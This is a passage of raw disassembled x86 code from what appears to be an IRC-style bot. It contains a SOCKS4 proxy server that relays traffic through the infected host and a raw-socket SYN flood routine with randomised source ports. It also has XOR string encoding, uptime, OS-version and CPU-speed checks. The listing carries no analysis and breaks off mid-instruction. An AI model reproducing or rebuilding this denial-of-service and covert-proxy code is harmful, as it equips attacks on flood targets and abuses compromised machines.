--------------------------------------------------------------------------- loc_410BB2: ; CODE XREF: sub_410B55+54j mov dl, byte_47C180 xor eax, eax test ebx, ebx jbe short loc_410BE0 loc_410BBE: ; CODE XREF: sub_410B55+89j mov ecx, [ebp+arg_8] mov cl, [eax+ecx] xor cl, dl jz short loc_410BD7 cmp cl, 0Ah jz short loc_410BD7 cmp cl, 0Dh jz short loc_410BD7 cmp cl, 5Ch jnz short loc_410BDB loc_410BD7: ; CODE XREF: sub_410B55+71j ; sub_410B55+76j ... inc dl xor eax, eax loc_410BDB: ; CODE XREF: sub_410B55+80j inc eax cmp eax, ebx jb short loc_410BBE loc_410BE0: ; CODE XREF: sub_410B55+67j cmp ebx, esi push edi mov edi, [ebp+arg_0] push 5 mov byte_47C180, dl pop ecx ja short loc_410C08 mov esi, offset loc_42C3B0 mov byte_42C3BD, bl mov byte_42C3C1, dl rep movsd push 15h jmp short loc_410C20 ; --------------------------------------------------------------------------- loc_410C08: ; CODE XREF: sub_410B55+9Aj mov word_42C3A6, bx mov byte_42C3AB, dl mov esi, offset loc_42C398 rep movsd movsw push 17h loc_410C20: ; CODE XREF: sub_410B55+B1j pop eax xor ecx, ecx test ebx, ebx movsb pop edi jbe short loc_410C3E mov esi, [ebp+arg_0] add esi, eax loc_410C2E: ; CODE XREF: sub_410B55+E7j mov eax, [ebp+arg_8] mov al, [ecx+eax] xor al, dl mov [esi+ecx], al inc ecx cmp ecx, ebx jb short loc_410C2E loc_410C3E: ; CODE XREF: sub_410B55+D2j mov eax, [ebp+arg_C] loc_410C41: ; CODE XREF: sub_410B55+58j pop esi pop ebx pop ebp retn sub_410B55 endp ; =============== S U B R O U T I N E ======================================= sub_410C45 proc near ; CODE XREF: sub_410C5C+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_410A16 push eax call sub_410B3A add esp, 0Ch retn sub_410C45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410C5C proc near ; CODE XREF: sub_4125E5+6Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_410C45 cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_410C7C cmp eax, 0FFFFh jbe short loc_410C80 loc_410C7C: ; CODE XREF: sub_410C5C+17j xor eax, eax jmp short loc_410CC5 ; --------------------------------------------------------------------------- loc_410C80: ; CODE XREF: sub_410C5C+1Ej push esi push edi push ebx call sub_410A16 add eax, 101h push eax call sub_414CAD add esp, 0Ch push edi push ebx push edi push ebx mov esi, eax call sub_410A16 pop ecx pop ecx push eax push esi call sub_410A42 push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_410B55 push esi mov edi, eax call sub_414844 add esp, 24h mov eax, edi pop esi loc_410CC5: ; CODE XREF: sub_410C5C+22j pop edi pop ebx pop ebp retn sub_410C5C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410CC9 proc near ; CODE XREF: sub_410DC6+200p var_504 = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx push esi push edi xor ebx, ebx mov esi, 400h loc_410CDC: ; CODE XREF: sub_410CC9+C0j ; sub_410CC9+F2j mov eax, [ebp+arg_4] xor ecx, ecx inc ecx mov [ebp+var_100], eax mov [ebp+var_104], ecx xor eax, eax loc_410CF0: ; CODE XREF: sub_410CC9+36j mov edx, [ebp+arg_0] cmp [ebp+eax*4+var_100], edx jz short loc_410D01 inc eax cmp eax, ecx jb short loc_410CF0 loc_410D01: ; CODE XREF: sub_410CC9+31j cmp eax, ecx jnz short loc_410D15 mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_410D15: ; CODE XREF: sub_410CC9+3Aj push ebx xor eax, eax push ebx mov ecx, 100h lea edi, [ebp+var_504] rep stosd push ebx lea eax, [ebp+var_104] push eax push ebx call dword_4358AC ; select lea eax, [ebp+var_104] push eax push [ebp+arg_4] call dword_43585C ; __WSAFDIsSet test eax, eax jz short loc_410D77 push ebx push esi lea eax, [ebp+var_504] push eax push [ebp+arg_4] call dword_43577C ; recv cmp eax, 0FFFFFFFFh jz short loc_410DC1 push ebx push eax lea eax, [ebp+var_504] push eax push [ebp+arg_0] call dword_43589C ; send cmp eax, 0FFFFFFFFh jz short loc_410DC1 loc_410D77: ; CODE XREF: sub_410CC9+7Ej lea eax, [ebp+var_104] push eax push [ebp+arg_0] call dword_43585C ; __WSAFDIsSet test eax, eax jz loc_410CDC push ebx push esi lea eax, [ebp+var_504] push eax push [ebp+arg_0] call dword_43577C ; recv cmp eax, 0FFFFFFFFh jz short loc_410DC1 push ebx push eax lea eax, [ebp+var_504] push eax push [ebp+arg_4] call dword_43589C ; send cmp eax, 0FFFFFFFFh jnz loc_410CDC loc_410DC1: ; CODE XREF: sub_410CC9+95j ; sub_410CC9+ACj ... pop edi pop esi pop ebx leave retn sub_410CC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_410DC6 proc near ; DATA XREF: sub_410FF6+13Fo var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_4D4 = byte ptr -4D4h var_4D3 = byte ptr -4D3h var_4D2 = word ptr -4D2h var_4D0 = dword ptr -4D0h var_4CC = byte ptr -4CCh var_CC = byte ptr -0CCh var_48 = byte ptr -48h var_30 = dword ptr -30h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 5D8h mov edx, [ebp+74h+arg_0] push ebx push esi push edi push 2Ch pop ecx mov esi, edx lea edi, [ebp+74h+var_CC] rep movsd mov edi, [ebp+74h+var_30] xor eax, eax inc eax mov [edx+0ACh], eax mov esi, edi mov [ebp+74h+var_5D8], eax imul esi, 234h mov ecx, dword_4366AC[esi] xor ebx, ebx lea eax, [ebp+74h+var_C] push eax push ebx push ebx lea eax, [ebp+74h+var_5D8] push eax push ebx mov [ebp+74h+arg_0], edi mov [ebp+74h+var_C], 5 mov [ebp+74h+var_8], ebx mov [ebp+74h+var_5D4], ecx call dword_4358AC ; select test eax, eax jnz short loc_410E39 push dword_4366AC[esi] jmp loc_410FE1 ; --------------------------------------------------------------------------- loc_410E39: ; CODE XREF: sub_410DC6+66j push ebx push 408h lea eax, [ebp+74h+var_4D4] push eax push dword_4366AC[esi] call dword_43577C ; recv test eax, eax jle loc_410FDB cmp [ebp+74h+var_4D4], 4 jnz loc_410FDB cmp [ebp+74h+var_4D3], 1 jnz loc_410FDB cmp [ebp+74h+var_48], bl jz loc_410F0F lea eax, [ebp+74h+var_48] lea edi, [ebp+74h+var_4CC] loc_410E86: ; CODE XREF: sub_410DC6+DCj mov dl, [edi] mov cl, dl cmp dl, [eax] jnz short loc_410EA8 cmp cl, bl jz short loc_410EA4 mov dl, [edi+1] mov cl, dl cmp dl, [eax+1] jnz short loc_410EA8 inc edi inc edi inc eax inc eax cmp cl, bl jnz short loc_410E86 loc_410EA4: ; CODE XREF: sub_410DC6+CAj xor eax, eax jmp short loc_410EAD ; --------------------------------------------------------------------------- loc_410EA8: ; CODE XREF: sub_410DC6+C6j ; sub_410DC6+D4j sbb eax, eax sbb eax, 0FFFFFFFFh loc_410EAD: ; CODE XREF: sub_410DC6+E0j cmp eax, ebx jz short loc_410F0F lea eax, [ebp+74h+var_48] push eax lea eax, [ebp+74h+var_4CC] push eax push offset aSocks4Authenti ; "[SOCKS4]: Authentication failed. Remote"... call sub_401F73 add esp, 0Ch mov [ebp+74h+var_4D4], bl mov [ebp+74h+var_4D3], 5Dh loc_410ED6: ; CODE XREF: sub_410DC6+1C0j xor eax, eax push ebx mov ecx, 100h lea edi, [ebp+74h+var_4CC] rep stosd push 8 lea eax, [ebp+74h+var_4D4] push eax push dword_4366AC[esi] call dword_43589C ; send loc_410EFB: ; CODE XREF: sub_410DC6+210j push dword_4366AC[esi] call dword_435914 ; closesocket push [ebp+74h+arg_0] jmp loc_410FE8 ; --------------------------------------------------------------------------- loc_410F0F: ; CODE XREF: sub_410DC6+B1j ; sub_410DC6+E9j xor eax, eax lea edi, [ebp+74h+var_1C] stosd stosd stosd stosd mov ax, [ebp+74h+var_4D2] push 6 mov [ebp+74h+var_1A], ax mov eax, [ebp+74h+var_4D0] push 1 push 2 mov [ebp+74h+var_1C], 2 mov [ebp+74h+var_18], eax call dword_435808 ; socket cmp eax, 0FFFFFFFFh mov [ebp+74h+var_4], eax jnz short loc_410F54 call dword_4358C0 ; WSAGetLastError push eax push offset aSocks4ErrorFai ; "[SOCKS4]: Error: Failed to open socket("... jmp short loc_410F72 ; --------------------------------------------------------------------------- loc_410F54: ; CODE XREF: sub_410DC6+17Ej push 10h lea ecx, [ebp+74h+var_1C] push ecx push eax call dword_4357C0 ; connect cmp eax, 0FFFFFFFFh jnz short loc_410F8B call dword_4358C0 ; WSAGetLastError push eax push offset aSocks4ErrorF_0 ; "[SOCKS4]: Error: Failed to connect to t"... loc_410F72: ; CODE XREF: sub_410DC6+18Cj call sub_401F73 pop ecx pop ecx mov [ebp+74h+var_4D4], bl mov [ebp+74h+var_4D3], 5Bh jmp loc_410ED6 ; --------------------------------------------------------------------------- loc_410F8B: ; CODE XREF: sub_410DC6+19Ej xor eax, eax push ebx mov [ebp+74h+var_4D4], bl mov [ebp+74h+var_4D3], 5Ah mov ecx, 100h lea edi, [ebp+74h+var_4CC] rep stosd push 8 lea eax, [ebp+74h+var_4D4] push eax push dword_4366AC[esi] call dword_43589C ; send push dword_4366AC[esi] push [ebp+74h+var_4] call sub_410CC9 pop ecx pop ecx push [ebp+74h+var_4] call dword_435914 ; closesocket jmp loc_410EFB ; --------------------------------------------------------------------------- loc_410FDB: ; CODE XREF: sub_410DC6+8Ej ; sub_410DC6+9Bj ... push dword_4366AC[esi] loc_410FE1: ; CODE XREF: sub_410DC6+6Ej call dword_435914 ; closesocket push edi loc_410FE8: ; CODE XREF: sub_410DC6+144j call sub_41255E pop ecx push ebx call ds:dword_420014 ; ExitThread int 3 ; Trap to Debugger sub_410DC6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_410FF6 proc near ; DATA XREF: sub_4089DC+4D9Ao var_2D4 = byte ptr -2D4h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 2D4h mov eax, [ebp+74h+arg_0] push ebx push esi push edi mov esi, eax push 2Ch pop ecx xor ebx, ebx lea edi, [ebp+74h+var_D4] rep movsd push [ebp+74h+var_40] inc ebx mov [eax+0A8h], ebx xor eax, eax lea edi, [ebp+74h+var_14] stosd stosd stosd stosd mov [ebp+74h+var_4], 10h mov [ebp+74h+var_14], 2 call dword_435954 ; htons push 6 push ebx xor esi, esi push 2 mov [ebp+74h+var_12], ax mov [ebp+74h+var_10], esi call dword_435808 ; socket mov edi, eax mov eax, [ebp+74h+var_3C] imul eax, 234h mov dword_4366AC[eax], edi push 10h lea eax, [ebp+74h+var_14] push eax push edi call dword_4358E0 ; bind test eax, eax jnz loc_411187 push 0Ah push edi call dword_435928 ; listen test eax, eax jnz loc_411187 push [ebp+74h+var_40] push [ebp+74h+var_D4] call sub_407D15 pop ecx push eax lea eax, [ebp+74h+var_2D4] push offset aSocks4ServerSt ; "[SOCKS4]: Server started on: %s:%d." push eax call sub_414415 add esp, 10h cmp [ebp+74h+var_30], esi jnz short loc_4110C4 push esi push [ebp+74h+var_34] lea eax, [ebp+74h+var_2D4] push eax lea eax, [ebp+74h+var_D0] push eax push [ebp+74h+var_D4] call sub_4056BF add esp, 14h loc_4110C4: ; CODE XREF: sub_410FF6+B2j ; sub_410FF6+17Aj ... lea eax, [ebp+74h+var_2D4] push eax call sub_401EFF pop ecx lea eax, [ebp+74h+var_4] push eax lea eax, [ebp+74h+var_24] push eax push edi call dword_4357CC ; accept push [ebp+74h+var_3C] mov ebx, eax movzx eax, [ebp+74h+var_22] push eax push [ebp+74h+var_20] mov [ebp+74h+var_28], esi call dword_435888 ; inet_ntoa push eax lea eax, [ebp+74h+var_2D4] push offset aSocks4ClientCo ; "[SOCKS4]: Client connection from IP: %s"... push eax call sub_414415 push ebx lea eax, [ebp+74h+var_2D4] push 12h push eax call sub_41229A mov ecx, [ebp+74h+var_3C] mov [ebp+74h+var_38], eax imul eax, 234h add esp, 20h mov dword_4366A4[eax], ecx lea eax, [ebp+74h+arg_0] push eax push esi lea eax, [ebp+74h+var_D4] push eax push offset sub_410DC6 push esi push esi call ds:dword_42000C ; CreateThread mov ecx, [ebp+74h+var_38] imul ecx, 234h cmp eax, esi mov dword_4366B4[ecx], eax jnz short loc_41117D call ds:dword_420008 ; RtlGetLastWin32Error push eax lea eax, [ebp+74h+var_2D4] push offset aSocks4Failed_0 ; "[SOCKS4]: Failed to start client thread"... push eax call sub_414415 add esp, 0Ch jmp loc_4110C4 ; --------------------------------------------------------------------------- loc_411175: ; CODE XREF: sub_410FF6+18Aj push 5 call ds:dword_420000 ; Sleep loc_41117D: ; CODE XREF: sub_410FF6+15Dj cmp [ebp+74h+var_28], esi jz short loc_411175 jmp loc_4110C4 ; --------------------------------------------------------------------------- loc_411187: ; CODE XREF: sub_410FF6+77j ; sub_410FF6+88j push edi call dword_435914 ; closesocket push [ebp+74h+var_40] lea eax, [ebp+74h+var_2D4] push offset aSocks4Failed_1 ; "[SOCKS4]: Failed to start server on Por"... push eax call sub_414415 add esp, 0Ch cmp [ebp+74h+var_30], esi jnz short loc_4111C4 push esi push [ebp+74h+var_34] lea eax, [ebp+74h+var_2D4] push eax lea eax, [ebp+74h+var_D0] push eax push [ebp+74h+var_D4] call sub_4056BF add esp, 14h loc_4111C4: ; CODE XREF: sub_410FF6+1B2j lea eax, [ebp+74h+var_2D4] push eax call sub_401EFF push [ebp+74h+var_3C] call sub_41255E pop ecx pop ecx push esi call ds:dword_420014 ; ExitThread int 3 ; Trap to Debugger sub_410FF6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=68h sub_4111E2 proc near ; CODE XREF: sub_41145E+3Cp var_288 = byte ptr -288h var_F8 = byte ptr -0F8h var_B8 = byte ptr -0B8h var_B7 = byte ptr -0B7h var_A4 = byte ptr -0A4h var_98 = byte ptr -98h var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = byte ptr -74h var_73 = byte ptr -73h var_72 = word ptr -72h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = word ptr -54h var_52 = word ptr -52h var_50 = dword ptr -50h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2E = word ptr -2Eh var_2C = word ptr -2Ch var_2A = word ptr -2Ah var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = word ptr -0Eh var_C = word ptr -0Ch var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp lea ebp, [esp-68h] sub esp, 288h and [ebp+68h+var_B8], 0 push edi push 0Eh pop ecx xor eax, eax lea edi, [ebp+68h+var_B7] rep stosd stosw stosb lea eax, [ebp+68h+var_288] push eax push 202h call dword_435818 ; WSAStartup test eax, eax jz short loc_41121C xor eax, eax jmp loc_411458 ; --------------------------------------------------------------------------- loc_41121C: ; CODE XREF: sub_4111E2+31j push esi xor edi, edi inc edi push edi xor esi, esi push esi push esi push 0FFh push 3 push 2 call dword_43578C ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+68h+var_4], eax jz loc_41144F push 4 lea ecx, [ebp+68h+var_3C] push ecx push 2 push esi push eax mov [ebp+68h+var_3C], edi call dword_435824 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_411446 xor eax, eax lea edi, [ebp+68h+var_54] stosd stosd stosd push ebx push [ebp+68h+arg_8] stosd mov [ebp+68h+var_54], 2 call dword_435954 ; htons mov ebx, [ebp+68h+arg_0] push 28h mov [ebp+68h+var_52], ax mov [ebp+68h+var_50], ebx mov [ebp+68h+var_30], 45h call dword_435954 ; htons push [ebp+68h+arg_8] mov [ebp+68h+var_2E], ax mov [ebp+68h+var_2C], 1 mov [ebp+68h+var_2A], si mov [ebp+68h+var_28], 80h mov [ebp+68h+var_27], 6 mov [ebp+68h+var_26], si mov [ebp+68h+var_20], ebx call dword_435954 ; htons push 4000h mov [ebp+68h+var_1A], ax mov [ebp+68h+var_14], esi mov [ebp+68h+var_10], 50h mov [ebp+68h+var_F], 2 call dword_435954 ; htons mov [ebp+68h+var_E], ax lea eax, [ebp+68h+var_5C] push eax mov [ebp+68h+var_A], si mov [ebp+68h+var_8], esi call ds:dword_420030 ; QueryPerformanceFrequency lea eax, [ebp+68h+var_38] push eax call ds:dword_42002C ; QueryPerformanceCounter push [ebp+68h+var_58] mov eax, [ebp+68h+arg_C] push [ebp+68h+var_5C] cdq push edx push eax call sub_414CC0 add eax, [ebp+68h+var_38] mov [ebp+68h+var_C], si adc edx, [ebp+68h+var_34] mov [ebp+68h+var_44], eax mov [ebp+68h+var_40], edx jmp short loc_411339 ; --------------------------------------------------------------------------- loc_41130D: ; CODE XREF: sub_4111E2+22Fj add [ebp+68h+var_8], eax lea eax, [ebp+68h+var_38] push eax call ds:dword_42002C ; QueryPerformanceCounter mov eax, [ebp+68h+var_34] cmp eax, [ebp+68h+var_40] jg loc_411442 jl short loc_411334 mov eax, [ebp+68h+var_38] cmp eax, [ebp+68h+var_44] jnb loc_411442 loc_411334: ; CODE XREF: sub_4111E2+144j and [ebp+68h+var_C], 0 loc_411339: ; CODE XREF: sub_4111E2+129j call sub_4145D1 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_435954 ; htons mov [ebp+68h+var_1C], ax call sub_4145D1 call sub_4145D1 push eax call dword_435954 ; htons push [ebp+68h+arg_4] movzx eax, ax mov [ebp+68h+var_18], eax call dword_43592C ; htonl inc [ebp+68h+arg_4] and [ebp+68h+var_74], 0 mov esi, eax push 14h mov [ebp+68h+var_24], esi mov [ebp+68h+var_78], ebx mov [ebp+68h+var_73], 6 call dword_435954 ; htons push 8 pop ecx mov [ebp+68h+var_7C], esi mov [ebp+68h+var_72], ax push 5 lea esi, [ebp+68h+var_7C] lea edi, [ebp+68h+var_B8] rep movsd pop ecx lea eax, [ebp+68h+var_B8] push 34h lea esi, [ebp+68h+var_1C] lea edi, [ebp+68h+var_98] push eax rep movsd call sub_407D6B push 5 pop ecx push 5 lea esi, [ebp+68h+var_30] lea edi, [ebp+68h+var_B8] rep movsd mov [ebp+68h+var_C], ax pop ecx lea esi, [ebp+68h+var_1C] lea edi, [ebp+68h+var_A4] rep movsd xor eax, eax lea edi, [ebp+68h+var_90] stosd lea eax, [ebp+68h+var_B8] push 28h push eax call sub_407D6B add esp, 10h push 5 pop ecx push 10h mov [ebp+68h+var_26], ax lea eax, [ebp+68h+var_54] push eax push 0 push 28h lea eax, [ebp+68h+var_B8] push eax push [ebp+68h+var_4] lea esi, [ebp+68h+var_30] lea edi, [ebp+68h+var_B8] rep movsd call dword_4357D8 ; sendto cmp eax, 0FFFFFFFFh jnz loc_41130D call dword_4358C0 ; WSAGetLastError push eax lea eax, [ebp+68h+var_F8] push offset aSynSendErrorD_ ; "[SYN]: Send error: <%d>." push eax call sub_414415 lea eax, [ebp+68h+var_F8] push eax call sub_401EFF add esp, 10h xor esi, esi jmp short loc_411445 ; --------------------------------------------------------------------------- loc_411442: ; CODE XREF: sub_4111E2+13Ej ; sub_4111E2+14Cj mov esi, [ebp+68h+var_8] loc_411445: ; CODE XREF: sub_4111E2+25Ej pop ebx loc_411446: ; CODE XREF: sub_4111E2+74j push [ebp+68h+var_4] call dword_435914 ; closesocket loc_41144F: ; CODE XREF: sub_4111E2+58j call dword_435920 ; WSACleanup mov eax, esi pop esi loc_411458: ; CODE XREF: sub_4111E2+35j pop edi add ebp, 68h leave retn sub_4111E2 endp ; =============== S U B R O U T I N E ======================================= sub_41145E proc near ; CODE XREF: sub_4114B6+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_407BFF push [esp+10h+arg_4] mov esi, eax call sub_4147A2 push [esp+14h+arg_8] mov ebx, eax call sub_4147A2 mov edi, eax call sub_4145D1 cdq mov ecx, 200h idiv ecx push edi push ebx lea eax, [edx+esi+100h] push eax push esi call sub_4111E2 add esp, 1Ch test eax, eax jnz short loc_4114A7 inc eax loc_4114A7: ; CODE XREF: sub_41145E+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_41145E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4114B6 proc near ; DATA XREF: sub_4089DC+29E7o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov esi, eax mov ecx, 85h lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_41145E push eax lea eax, [ebp+var_414] push offset aSynDoneWithFlo ; "[SYN]: Done with flood (%iKB/sec)." push eax call sub_414415 xor esi, esi add esp, 18h cmp [ebp+var_8], esi jnz short loc_411533 push esi push [ebp+var_C] lea eax, [ebp+var_414] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_4056BF add esp, 14h loc_411533: ; CODE XREF: sub_4114B6+5Bj lea eax, [ebp+var_414] push eax call sub_401EFF push [ebp+var_10] call sub_41255E pop ecx pop ecx push esi call ds:dword_420014 ; ExitThread int 3 ; Trap to Debugger sub_4114B6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_411551 proc near ; CODE XREF: sub_401000+74p ; sub_4089DC+46EDp ... arg_0 = dword ptr 4 push esi push edi call ds:dword_420004 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx xor edx, edx mov ecx, 15180h mov esi, 0E10h push 3Ch pop edi sub eax, [esp+8+arg_0] div ecx mov ecx, eax mov eax, edx xor edx, edx div esi mov esi, eax mov eax, edx xor edx, edx div edi push eax push esi push ecx push offset aDdDhDm ; "%dd %dh %dm" push 32h mov esi, offset dword_47C184 push esi call sub_41466D add esp, 18h pop edi mov eax, esi pop esi retn sub_411551 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=78h sub_4115A4 proc near ; CODE XREF: sub_40378E+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp lea ebp, [esp-78h] sub esp, 94h push esi lea eax, [ebp+78h+var_94] push eax xor esi, esi mov [ebp+78h+var_94], 94h call ds:dword_420120 ; GetVersionExA test eax, eax jz short loc_411614 cmp [ebp+78h+var_90], 4 jnz short loc_4115F6 cmp [ebp+78h+var_8C], esi jnz short loc_4115E4 cmp [ebp+78h+var_84], 1 jnz short loc_4115D9 inc esi loc_4115D9: ; CODE XREF: sub_4115A4+32j cmp [ebp+78h+var_84], 2 jnz short loc_411614 xor esi, esi inc esi jmp short loc_411614 ; --------------------------------------------------------------------------- loc_4115E4: ; CODE XREF: sub_4115A4+2Cj cmp [ebp+78h+var_8C], 0Ah jnz short loc_4115EE loc_4115EA: ; CODE XREF: sub_4115A4+5Bj push 2 jmp short loc_411613 ; --------------------------------------------------------------------------- loc_4115EE: ; CODE XREF: sub_4115A4+44j cmp [ebp+78h+var_8C], 5Ah jnz short loc_411614 jmp short loc_411607 ; --------------------------------------------------------------------------- loc_4115F6: ; CODE XREF: sub_4115A4+27j cmp [ebp+78h+var_90], 5 jnz short loc_411614 cmp [ebp+78h+var_8C], esi jz short loc_4115EA cmp [ebp+78h+var_8C], 1 jnz short loc_41160B loc_411607: ; CODE XREF: sub_4115A4+50j push 3 jmp short loc_411613 ; --------------------------------------------------------------------------- loc_41160B: ; CODE XREF: sub_4115A4+61j cmp [ebp+78h+var_8C], 2 jnz short loc_411614 push 7 loc_411613: ; CODE XREF: sub_4115A4+48j ; sub_4115A4+65j pop esi loc_411614: ; CODE XREF: sub_4115A4+21j ; sub_4115A4+39j ... mov eax, esi pop esi add ebp, 78h leave retn sub_4115A4 endp ; =============== S U B R O U T I N E ======================================= sub_41161C proc near ; CODE XREF: sub_4116D2+240p push ebx push esi push edi mov edi, 0F4240h loc_411624: ; CODE XREF: sub_41161C+2Fj ; sub_41161C+35j rdtsc push 3E8h mov ebx, edx mov esi, eax call ds:dword_420000 ; Sleep rdtsc push 0 sub eax, esi push edi sbb edx, ebx push edx push eax call sub_415F90 mov esi, edx test esi, esi mov ebx, eax ja short loc_411624 jb short loc_411653 cmp ebx, edi ja short loc_411624 loc_411653: ; CODE XREF: sub_41161C+31j push 0 push 64h push esi push ebx call sub_415F10 mov ecx, edx push 64h xor edx, edx test ecx, ecx mov edi, eax pop eax ja short loc_4116C6 jb short loc_411672 cmp edi, 50h jnb short loc_411677 loc_411672: ; CODE XREF: sub_41161C+4Fj push 4Bh pop eax xor edx, edx loc_411677: ; CODE XREF: sub_41161C+54j test ecx, ecx ja short loc_4116C6 jb short loc_411682 cmp edi, 47h jnb short loc_411687 loc_411682: ; CODE XREF: sub_41161C+5Fj push 42h pop eax xor edx, edx loc_411687: ; CODE XREF: sub_41161C+64j test ecx, ecx ja short loc_4116C6 jb short loc_411692 cmp edi, 37h jnb short loc_411697 loc_411692: ; CODE XREF: sub_41161C+6Fj push 32h pop eax xor edx, edx loc_411697: ; CODE XREF: sub_41161C+74j test ecx, ecx ja short loc_4116C6 jb short loc_4116A2 cmp edi, 26h jnb short loc_4116A7 loc_4116A2: ; CODE XREF: sub_41161C+7Fj push 21h pop eax xor edx, edx loc_4116A7: ; CODE XREF: sub_41161C+84j test ecx, ecx ja short loc_4116C6 jb short loc_4116B2 cmp edi, 1Eh jnb short loc_4116B7 loc_4116B2: ; CODE XREF: sub_41161C+8Fj push 19h pop eax xor edx, edx loc_4116B7: ; CODE XREF: sub_41161C+94j test ecx, ecx ja short loc_4116C6 jb short loc_4116C2 cmp edi, 0Ah jnb short loc_4116C6 loc_4116C2: ; CODE XREF: sub_41161C+9Fj xor eax, eax xor edx, edx loc_4116C6: ; CODE XREF: sub_41161C+4Dj ; sub_41161C+5Dj ... sub eax, edi sbb edx, ecx add eax, ebx pop edi adc edx, esi pop esi pop ebx retn sub_41161C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=70h sub_4116D2 proc near ; CODE XREF: sub_4089DC+48E4p var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp lea ebp, [esp-70h] sub esp, 7E8h push ebx push esi push edi lea eax, [ebp+70h+var_CC] push eax mov [ebp+70h+var_4], 420AEAh mov [ebp+70h+var_CC], 94h call ds:dword_420120 ; GetVersionExA xor ebx, ebx cmp [ebp+70h+var_C8], 4 jnz short loc_411743 cmp [ebp+70h+var_C4], ebx jnz short loc_411725 cmp [ebp+70h+var_BC], 1 jnz short loc_411712 mov [ebp+70h+var_4], offset a95 ; "95" loc_411712: ; CODE XREF: sub_4116D2+37j cmp [ebp+70h+var_BC], 2 jnz loc_4117A9 mov [ebp+70h+var_4], offset aNt ; "NT" jmp short loc_411780 ; --------------------------------------------------------------------------- loc_411725: ; CODE XREF: sub_4116D2+31j cmp [ebp+70h+var_C4], 0Ah jnz short loc_411734 mov [ebp+70h+var_4], offset a98 ; "98" jmp short loc_41177A ; --------------------------------------------------------------------------- loc_411734: ; CODE XREF: sub_4116D2+57j cmp [ebp+70h+var_C4], 5Ah jnz short loc_411773 mov [ebp+70h+var_4], offset aMe_0 ; 